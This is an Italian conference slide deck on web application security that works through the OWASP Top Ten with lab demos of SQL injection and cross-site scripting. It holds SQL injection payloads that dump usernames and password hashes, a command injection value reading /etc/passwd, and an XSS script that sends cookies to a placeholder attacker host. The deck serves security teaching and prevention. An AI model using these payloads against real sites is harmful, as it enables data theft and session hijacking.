Upload
festival-ict-2014
View
1.261
Download
1
Embed Size (px)
DESCRIPTION
Citation preview
Sicurezza delle Applicazioni WebSicurezza delle Applicazioni Web
Andrea Zwirner
[email protected]@AndreaZwirner
Nota: in questa versione scaricabile, ho inserito alcune slide con gli screenshot di quanto fatto come demo in corso di laboratorio, corredandole di una breve descrizione. Spero che questa sia sufficientemente chiara, nel caso di dubbi o perplessità, in questa pagina ci sono i miei contatti: usateli senza farvi scrupoli! :-) Nei limiti di tempo impostimi dai miei impegni, cercherò di rispondere a tutte le domande. Grazie dell'interesse, spero di reincontrarvi tutti al FdT ICT 2014! :-)
Andrea Zwirner● Consulente nei campi della sicurezza informatica e forense (security auditing, penetration testing)
● Formazione nel campo della sicurezza
● Articolista e revisore per la rivista di settore PenTest Magazine
● Collaborazione con ISECOM (Instiute for Security and Open Methodologies)
● Hacker Highschool – Security awareness for teens
● Secure Programming Guidelines – in fase di ultimazione
Andrea ZwirnerSicurezza delle Applicazioni Web 2
Cos'è la sicurezza informaticainsieme di misure di carattere organizzativo, tecnologico e procedurale mirate ad assicurare
● C O N F I D E N Z I A L I T ÀC O N F I D E N Z I A L I T À
● I N T E G R I T ÀI N T E G R I T À
● D I S P O N I B I L I T ÀD I S P O N I B I L I T À
dell'informazione.
Andrea ZwirnerSicurezza delle Applicazioni Web 3
Sicurezza delle applicazioni web● Il web non è stato progettato per essere sicuro:
● Contenuti statici in sola lettura
● Nessuna sicurezza implicita (o “by design”)
Andrea ZwirnerSicurezza delle Applicazioni Web 4
Sicurezza delle applicazioni web● Il web non è stato progettato per essere sicuro:
● Contenuti statici in sola lettura
● Nessuna sicurezza implicita (o “by design”)
● Il Web 2.0 eredita queste peculiarità dal suo predecessore, fornendo
● Ampia superficie d'attacco (ha più componenti)
● Svariati petabyte di informazioni di miliardi di utenti (privati, aziende, banche e governi)
● Accesso diretto alle macchine degli utenti stessi
Andrea ZwirnerSicurezza delle Applicazioni Web 5
www.draw-shapes..de
firewall
clientutente/sistema
draw-shapes.de
web server
database
autenticazioneautorizzazione
www.draw-shapes.de
web service
controlloaccessi
Superficie d'attacco…
Andrea ZwirnerSicurezza delle Applicazioni Web 6
Application security● Modellazione ed analisi dei rischi derivanti dal software
● Consapevolezza di analisti / sviluppatori / beta tester / utenti finali
● Sviluppo dell'architettura (secure by design)
● Ciclo di sviluppo del software
● Scrittura del codice
● Controlli di sicurezza comuni ( non dovrebbe != non è )
Andrea ZwirnerSicurezza delle Applicazioni Web 7
La metodologia
O W A S P
Open Web Application Security Project
Missione: aumentare la visibilità relativa la sicurezza del software al fine di permettere di prendere decisioni informate ad imprese ed individui
Andrea ZwirnerSicurezza delle Applicazioni Web 8
OWASP – Top Ten Project● Descrive le dieci vulnerabilità valutate più rischiose in ambito
web application
● Finalizzato ad educare sviluppatori, designer, manager ed organizzazioni circa le problematiche trattate
● Fornisce linee guida per la rilevazione delle problematiche selezionate e la loro prevenzione
● Indipendente da linguaggio / framework utilizzato
Andrea ZwirnerSicurezza delle Applicazioni Web 9
Top Ten 2013
Andrea ZwirnerSicurezza delle Applicazioni Web 10
Top Ten 2013● A1: Injection
● A2: Broken Authentication and Session Management
● A3: Cross-Site Scripting (XSS)
● A4: Insecure Direct Object References
● A5: Security Misconfiguration
● A6: Sensitive Data Exposure
● A7: Missing Function Level Access Control
● A8: Cross-Site Request Forgery (CSRF)
● A9: Using Known Vulnerable Components
● A10: Unvalidated Redirects and Forwards
Andrea ZwirnerSicurezza delle Applicazioni Web 11
A1 – Injection – descrizione
● La vulnerabilità
● Avviene quando dati non fidati sono inviati direttamente ad un interprete (SQL, OS, LDAP, etc)
● Un attaccante può inviare richieste forgiate in modo da forzare l'interprete ad eseguire comandi non previsti
● Vettori d'attacco
● Qualunque fonte di dati, incluse quelle interne
Andrea ZwirnerSicurezza delle Applicazioni Web 12
A1 – Injection – esempio: SQL injection
● Parametrizzazione insicura di una query:
1. var_id = _post(id);2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;3. result = invia_query_al_database(query);4. fai_qualcosa_con(result);
● Parametri attesi
_post(id) = n naturale (o, al più, intero)
Andrea ZwirnerSicurezza delle Applicazioni Web 13
A1 – Injection – esempio: SQL injection
● Parametrizzazione insicura di una query:
1. var_id = _post(id);2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;3. result = invia_query_al_database(query);4. fai_qualcosa_con(result);
● Parametri attesi
_post(id) = n naturale (o, al più, intero)
● Esempio di parametro inatteso
_post(id) = 23'; DROP TABLE tab;
Andrea ZwirnerSicurezza delle Applicazioni Web 14
A1 – Injection – esempio: SQL injection
● Parametrizzazione insicura di una query:
1. var_id = _post(id);2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;3. result = invia_query_al_database(query);4. fai_qualcosa_con(result);
● Parametri attesi
_post(id) = n (naturale o intero)
● Esempio di parametro inatteso
_post(id) = 23'; DROP TABLE tab;
SELECT * FROM tab WHERE id = '23'; DROP TABLE tab; '
Andrea ZwirnerSicurezza delle Applicazioni Web 15
A1 – Injection Fun
Pronto, qui è la scuola di suo figlio, abbiamo qualche problema informatico.Oh, mi dica... Robert ha mica rotto qualcosa?In un certo senso... Senta, suo figlio si chiama veramente
Robert'); DROP TABLE Students; --?…
Andrea ZwirnerSicurezza delle Applicazioni Web 16
A1 – Injection Fun
ZU 0666',0,0); DROP DATABASE TABLICE; --
Andrea ZwirnerSicurezza delle Applicazioni Web 17
A1 – Injection – esempio: command injection
● Parametrizzazione insicura di un comando shell:
1. var_ip = _post(ip);2. command = “/bin/ping c1 ” + var_ip;3. result = esegui_comando(command);4. stampa_nella_pagina(result);
● Parametri attesi
_post(ip) = ip (indirizzo IP)
● Parametri inattesi
_post(ip) = 127.0.0.1; cat /etc/passwd
Andrea ZwirnerSicurezza delle Applicazioni Web 18
Facciamo una prova? Vi va?
Andrea ZwirnerSicurezza delle Applicazioni Web 19
Andrea ZwirnerSicurezza delle Applicazioni Web 20
Demo SQL Injection – il laboratorio FdT ICT edition :-)
Andrea ZwirnerSicurezza delle Applicazioni Web 21
Demo SQL Injection – il laboratorio FdT ICT edition :-)
Notiamo che vi è corrispondenza fra il parametro username (ospite) e quanto riportato in tabella
Notiamo che vi è corrispondenza fra il parametro username (ospite) e quanto riportato in tabella
Andrea ZwirnerSicurezza delle Applicazioni Web 22
Demo SQL Injection – il laboratorio FdT ICT edition :-)
Proviamo a variare il parametro per verificare se vi è un riferimento diretto al database (e quindi anche una Direct Object Reference (A4))
Proviamo a variare il parametro per verificare se vi è un riferimento diretto al database (e quindi anche una Direct Object Reference (A4))
Andrea ZwirnerSicurezza delle Applicazioni Web 23
Demo SQL Injection – il laboratorio FdT ICT edition :-)
Se lo username non esiste, la tabella è vuota, ma viene costruita.Se lo username non esiste, la tabella è vuota, ma viene costruita.
Andrea ZwirnerSicurezza delle Applicazioni Web 24
Demo SQL Injection – il laboratorio FdT ICT edition :-)
IT ALL STARTS WITH AN '
Se il parametro invece è ' (apostrofo), la tabella non viene proprio costruita: abbiamo rotto qualcosa.
L'applicazione è SQL-injectable!
IT ALL STARTS WITH AN '
Se il parametro invece è ' (apostrofo), la tabella non viene proprio costruita: abbiamo rotto qualcosa.
L'applicazione è SQL-injectable!
Andrea ZwirnerSicurezza delle Applicazioni Web 25
Demo SQL Injection – il laboratorio FdT ICT edition :-)Vediamo quindi il risultato di un classico
parametro=valore' OR '1' = '1
Vengono mostrati tutti i record
Vediamo quindi il risultato di un classico
parametro=valore' OR '1' = '1
Vengono mostrati tutti i record
Andrea ZwirnerSicurezza delle Applicazioni Web 26
Demo SQL Injection – il laboratorio FdT ICT edition :-)● A questo punto partiamo con delle UNION query per avere nome del database (lab):
ospite' UNION ALLSELECT
database(), 2,3,4
%23
● Nota: %23 rappresenta il carattere # (URL encoding) che inizia un commento in MySQL ( il -- in SQL standard ) e serve per commentare l'ultimo apice inserito dal programmatore della web application
Andrea ZwirnerSicurezza delle Applicazioni Web 27
Demo SQL Injection – il laboratorio FdT ICT edition :-)● Quindi enumeriamo le tabelle contenute nel database lab (fra cui users):
ospite' UNION ALLSELECT table_name, 2,3,4FROM information_schema.tablesWHERE table_schema='lab'%23
Andrea ZwirnerSicurezza delle Applicazioni Web 28
Demo SQL Injection – il laboratorio FdT ICT edition :-)● Ed ora i campi contenuti nella tabella users (fra cui password)
ospite' UNION ALL SELECT ordinal_position, column_name, 3,4FROM information_schema.columnsWHERE table_schema='lab'AND table_name = 'users'%23
Andrea ZwirnerSicurezza delle Applicazioni Web 29
Demo SQL Injection – il laboratorio FdT ICT edition :-)Bene, ci siamo. Ora vediamo le password:
ospite' UNION ALL SELECT username, password, 3,4FROM users%23
Bene! Sono MD5: possiamo procedere a craccarle (esercizio per casa! :-)
Bene, ci siamo. Ora vediamo le password:
ospite' UNION ALL SELECT username, password, 3,4FROM users%23
Bene! Sono MD5: possiamo procedere a craccarle (esercizio per casa! :-)
A1 – Injection Fun
Andrea ZwirnerSicurezza delle Applicazioni Web 30
A1 – Injection – prevenzione
● Fare escaping dei caratteri speciali, usando le sequenze specifiche per l'interprete
● Usare API che neghino l'uso diretto dell'interprete, fornendo un interfaccia parametrizzata
● Nel caso SQL, attenzione all'uso si Stored Procedures, che possono essere forzate a loro volta (!)
Andrea ZwirnerSicurezza delle Applicazioni Web 31
A1 – Injection – rilevazione
● Se non sono stati definiti standard di sviluppo, partire dal presupposto che si è vulnerabili
● Verifica del codice
● Cercare i punti nel codice in cui viene richiamato l'interprete
● Assicurarsi che i comandi siano separati dai dati non fidati
● Penetration test
Andrea ZwirnerSicurezza delle Applicazioni Web 32
A3 – Cross-Site Scripting (XSS)
● La vulnerabilità
● Avviene quando un'applicazione include informazioni non fidate nei contenuti serviti agli utenti.
● L'attacco consiste nell'inviare ai browser degli utenti script che ne sfruttano l'interprete
● Permette l'esecuzione di codice lato client, all'interno del browser
● Vettori d'attacco
● Qualunque fonte di dati, comprese quelle interne, come il database
Andrea ZwirnerSicurezza delle Applicazioni Web 33
A3 – Cross-Site Scripting (XSS)
● Le falle XSS si dividono in tre tipologie
● Stored XSS
● Il codice malevolo è persistente a database
● Reflected XSS
● Il codice malevolo è contenuto nella risposta data dal web server ad una domanda forgiata
● DOM based XSS
● Il codice malevolo è frutto della modifica all'ambiente DOM del browser dell'utente (avviene tutto lato client)
Andrea ZwirnerSicurezza delle Applicazioni Web 34
JavaScript browser environment
Document Object Model (DOM)
document and related objects allow to access contents of the page, modify elements etc. Most interaction with HTML is handled here.
Browser Object Model (BOM)
BOM is a pack of objects that allow to control the browser, e.g change current URL, access frames, do background requests to server with XMLHttpRequest etc. Functions like alert,confirm,prompt also belong BOM, they are provided by the browser.
JavaScript objects and functions
JavaScript itself is a language which gives us access to DOM, BOM and provides objects and functions of its own.
Andrea ZwirnerSicurezza delle Applicazioni Web 35
A3 – Cross-Site Scripting (XSS) – scenari d'attacco
● Un applicazione web salva a database il contenuto di un modulo per poi riproporlo a tutti gli utenti del sito (es. “lascia un commento”)
● Nome: Andrea● Commento: questo è un bel sito!
Andrea ZwirnerSicurezza delle Applicazioni Web 36
A3 – Cross-Site Scripting (XSS) – scenari d'attacco
● Un applicazione web salva a database il contenuto di un modulo per poi riproporlo a tutti gli utenti del sito (es. “lascia un commento”)
● Nome: Andrea● Commento: questo è un bel sito!
● Il risultato sarà qualcosa tipo
<html><h1>Commenti degli utenti</h1>
Tizio: ma che nome c'ho?<br/>Caio: a chi lo dici!<br/>Andrea: questo è un bel sito!<br/></html>
Andrea ZwirnerSicurezza delle Applicazioni Web 37
A3 – Cross-Site Scripting (XSS) – scenari d'attacco
● Fin qui tutto bene, ma se nel modulo fosse stato inserito:
● Nome: Andrea● Commento: bello davvero! <script>alert('XSS');</script>
Andrea ZwirnerSicurezza delle Applicazioni Web 38
A3 – Cross-Site Scripting (XSS) – scenari d'attacco
● Fin qui tutto bene, ma se nel modulo fosse stato inserito:
● Nome: Andrea● Commento: bello davvero! <script>alert('XSS');</script>
● La pagina sarebbe diventata:
<html><h1>Commenti degli utenti</h1>
Tizio: ma che nome c'ho?<br/>Caio: a chi lo dici!<br/>Andrea: bello davvero! <script>alert('XSS');</script><br/></html>
Andrea ZwirnerSicurezza delle Applicazioni Web 39
A3 – Cross-Site Scripting (XSS) – scenari d'attacco
● Risultato: esecuzione di script all'interno del browser di tutti i visitatori
Andrea ZwirnerSicurezza delle Applicazioni Web 40
A3 – Il celebre alert('XSS')
● Si tratta di un attacco tanto famoso da avere addirittura un profilo professionale su LinkedIn
Andrea ZwirnerSicurezza delle Applicazioni Web 41
A3 – Cross-Site Scripting (XSS) – scenari d'attacco
● Un attaccante può inviarsi i cookie di tutti gli utenti (e quindi anche gli ID di sessione) ed impersonarli all'interno del sito.
● Nome: Andrea
● Commento:
<script>new Image.src='http://IP_ATTACCANTE/ruba_cookie.cgi?dati='
+ document.cooke</script>
Andrea ZwirnerSicurezza delle Applicazioni Web 42
Facciamo una prova? Vi va?
Andrea ZwirnerSicurezza delle Applicazioni Web 43
Andrea ZwirnerSicurezza delle Applicazioni Web 44
Demo reflected cross-site scriptingVediamo che il parametro nome è riportato all'interno della pagina.
Nel caso in cui non ne venga fatto escaping, potremo riportare nella pagina tag <script> e </script>.
Vediamo che il parametro nome è riportato all'interno della pagina.
Nel caso in cui non ne venga fatto escaping, potremo riportare nella pagina tag <script> e </script>.
Andrea ZwirnerSicurezza delle Applicazioni Web 45
Demo reflected cross-site scriptingA quanto pare, questo succede! :-)
Abbiamo iniettato la stringa
<script>alert('XSS')</script>
All'interno del codice della pagina.
L'attacco è di tipo reflected XSS
A quanto pare, questo succede! :-)
Abbiamo iniettato la stringa
<script>alert('XSS')</script>
All'interno del codice della pagina.
L'attacco è di tipo reflected XSS
Andrea ZwirnerSicurezza delle Applicazioni Web 46
Demo reflected cross-site scriptingNel caso vi fossero blocchi sul tag <script>, potremmo invocare JavaScript mediante eventi dei tag HTML, qui per esempio, si usa l'evento di onError() del tag <img>, scatenato dal fatto che l'immagine cercata non esiste.
Nel caso vi fossero blocchi sul tag <script>, potremmo invocare JavaScript mediante eventi dei tag HTML, qui per esempio, si usa l'evento di onError() del tag <img>, scatenato dal fatto che l'immagine cercata non esiste.
Andrea ZwirnerSicurezza delle Applicazioni Web 47
Demo DOM based cross-site scriptingIn questo esempio il nome è scritto sulla pagina da una funzione JavaScript contenuta all'interno del codice della pagina stessa e che modifica il documento lato client, in funzione degli anchor contenuti nell'URL (→ location.hash).
La stringa da iniettare per l'attacco sarà uguale all'esempio reflected, ma il funzionamento dell'attacco è profondamente differente: prima il parametro era riportato nella pagina da una funzione eseguita lato server, qui avviene tutto lato client (la pagina potrebbe essere del tutto statica).
In questo esempio il nome è scritto sulla pagina da una funzione JavaScript contenuta all'interno del codice della pagina stessa e che modifica il documento lato client, in funzione degli anchor contenuti nell'URL (→ location.hash).
La stringa da iniettare per l'attacco sarà uguale all'esempio reflected, ma il funzionamento dell'attacco è profondamente differente: prima il parametro era riportato nella pagina da una funzione eseguita lato server, qui avviene tutto lato client (la pagina potrebbe essere del tutto statica).
Andrea ZwirnerSicurezza delle Applicazioni Web 48
Demo DOM based cross-site scripting
A tal riguardo è interessante notare che, cambiando il parametro, il contenuto della pagina generata varia, ma il suo sorgente resta lo stesso!
Per questo per vedere il cambiamento nella pagina, una volta modificato il parametro, è fra l'altro necessario ricaricarla (non basta battere invio): non variando il suo sorgente il browser semplicemente non fa alcuna modifica a quanto visualizzato (e non ri-esegue gli script), in quanto non si aspetta vi siano cambiamenti
A tal riguardo è interessante notare che, cambiando il parametro, il contenuto della pagina generata varia, ma il suo sorgente resta lo stesso!
Per questo per vedere il cambiamento nella pagina, una volta modificato il parametro, è fra l'altro necessario ricaricarla (non basta battere invio): non variando il suo sorgente il browser semplicemente non fa alcuna modifica a quanto visualizzato (e non ri-esegue gli script), in quanto non si aspetta vi siano cambiamenti
Andrea ZwirnerSicurezza delle Applicazioni Web 49
Demo DOM based cross-site scriptingPer concludere ecco l'attacco e la PoC dell'esistenza della vulnerabilità. Anche in questo caso, come atteso, il sorgente della pagina non varia.
Per concludere ecco l'attacco e la PoC dell'esistenza della vulnerabilità. Anche in questo caso, come atteso, il sorgente della pagina non varia.
A3 – Cross-Site Scripting (XSS) – prevenzione
● Il concetto è quello di separare i dati non fidati dai contenuti web (da inviare ai browser)
● Fare escaping dei contenuti non fidati (JavaScript, CSS, URL, etc)
● OWASP XSS Prevention Cheat Sheet
● Nel caso non ci sia necessità di input di caratteri speciali, applicare white list per la validazione degli input (e.g. solo lettere per i nomi, solo cifre per i numeri, solo cifre + “/” per le date, etc)
● Nei casi di rich contents, cosiderare l'uso di librerie di auto-sanization
● OWASP AntiSamy
Andrea ZwirnerSicurezza delle Applicazioni Web 50
A3 – Cross-Site Scripting (XSS) – rilevazione
● Considerando di avere già inserito a DB codice malevolo, bisogna verificare che qualunque contenuto inviato sia gestito correttamente (escaped) prima di includerlo in ogni pagina.
● L'unico modo certo è combinare:
● Ricerca manuale nel codice
● Pen Testing
● Esistono tool automatici per la ricerca delle falle (ad esempio DOMinator di Minded Security)
Andrea ZwirnerSicurezza delle Applicazioni Web 51
Abbiamo finito.
Andrea ZwirnerSicurezza delle Applicazioni Web 52
Laboratorio – configurazione dispositivi
● File di hosts:
● Windows● Notepad (come amministratore)● C:\WINDOWS\system32\drivers\etc\hosts
● Mac OS X● sudo …● /private/etc/hosts
● Linux● sudo …● /etc/hosts
● Configurare nel file di hosts
10.255.251.27 target
Andrea ZwirnerSicurezza delle Applicazioni Web 53
Sicurezza delle Applicazioni WebSicurezza delle Applicazioni Web
Andrea Zwirner
[email protected]@AndreaZwirner
Approfondimenti consigliati● Wikipedia – Application Security – 2013
● Tutti i documenti pubblicati da OWASP, ed in particolare ogni Cheat Sheet
● Defuse Security – Password Hashing Security: Salted Password Hashing – Doing it right – 2013
● P. Litwin – Stop SQL Injection Attacks Before They Stop You – Microsoft MSDN
● B. Guimarães – Advanced SQL injection to operating system full control – 2009
● R. Ivgi – XSS : Cross Site Scripting - Exposed - Why, How, When, Where!
● E. Benoist – Brocken Authentication and Session Management – 2012
● B. Hardin – Series about the Owasp Top 10 – 2009
● Euorpean Commission – Cybersecurity Strategy of the European Union – 2013
● K. Kuliukas – How Rainbow Tables work
● google!
Andrea ZwirnerSicurezza delle Applicazioni Web 55
Risorse OWASP da non perdere
● Testing ProjectDefinisce le best practices per la conduzione di test di sicurezza ad applicazioni web, indirizzata a sviluppatori e beta tester.
● Code Review ProjectMetodi di revisione del codice suddivisi per controllo (authentication / authorization) e per tipologie di minacce / vulnerabilità
● Secure Coding Practices - Quick Reference GuideCheck list per la verifica dell'utilizzo delle secure coding best practices (17 pag. - life cycle)
● WebGoat ProjectApplicazione web per impratichirsi con le tecniche di testing“Developers should not feel bad about not knowing security. Even the best programmers make security errors. What they need is a scapegoat, right?”
● Web Testing Environment Project (storicamente Live CD Project)● Distribuzione specificatamente pensata per il Web Application penetration testing
Andrea ZwirnerSicurezza delle Applicazioni Web 56